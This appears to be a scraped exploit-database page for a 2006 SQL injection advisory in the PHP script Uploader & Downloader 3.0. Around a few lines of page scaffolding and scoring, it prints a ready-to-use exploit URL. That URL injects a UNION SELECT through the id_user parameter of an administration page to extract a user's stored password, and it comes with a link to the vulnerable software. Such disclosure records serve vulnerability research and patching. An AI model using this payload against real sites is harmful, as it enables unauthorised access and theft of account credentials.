Lucene search

K
exploitdbThe masterEDB-ID:2945
HistoryDec 18, 2006 - 12:00 a.m.

Uploader & Downloader 3.0 - 'id_user' SQL Injection

2006-12-1800:00:00
the master
www.exploit-db.com
26

AI Score

7.4

Confidence

Low

########################################################################
#  uploader&downloader v3  Remote SQL Injection Vulnerability
#
#  Download: ftp://ftp1.comscripts.com/PHP/1892_uploader-30.zip
#
#  Found By: the master
#
########################################################################
#  exploit:
#
# http://[Target]/[Path]/administration/administre2.php?id_user=-1%20UNION%20SELECT%20null,passe,null,null%20FROM%20connect_upload_fichier%20WHERE%20id_user=1
#
#  Greetz: str0ke , Dr Max Virus , Kacper
########################################################################

# milw0rm.com [2006-12-18]

AI Score

7.4

Confidence

Low

Related for EDB-ID:2945